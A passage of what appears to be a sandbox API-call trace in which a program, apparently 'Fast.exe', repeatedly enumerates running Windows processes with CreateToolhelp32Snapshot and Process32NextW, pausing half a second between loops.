lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0274.481] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0274.482] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0274.483] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0274.484] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.485] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.486] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.487] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0274.488] CloseHandle (hObject=0x128) returned 1 [0274.488] Sleep (dwMilliseconds=0x1f4) [0275.809] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0275.813] Process32FirstW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.814] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.815] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.816] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.817] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.818] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.819] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.820] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.821] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.822] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0275.822] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.823] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.824] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.825] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.826] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.827] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.828] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.829] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.829] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.831] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.831] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.833] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.834] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.835] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0275.836] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0275.837] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0275.838] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0275.839] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.840] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.840] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.841] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0275.842] CloseHandle (hObject=0x128) returned 1 [0275.843] Sleep (dwMilliseconds=0x1f4) [0276.476] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0276.479] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.480] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.481] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.481] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.482] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.483] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.484] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.485] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.486] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.486] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0276.487] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.488] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.489] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.490] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.491] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.492] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.493] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.494] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.495] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.495] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.496] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0276.497] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.498] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.499] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0276.500] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0276.501] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0276.502] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0276.503] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.504] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0276.505] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.506] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0276.507] CloseHandle (hObject=0x208) returned 1 [0276.507] Sleep (dwMilliseconds=0x1f4) [0277.143] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0277.147] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.147] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.148] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.149] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.150] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.151] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.152] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.153] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.154] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.154] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.155] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.156] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.157] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, 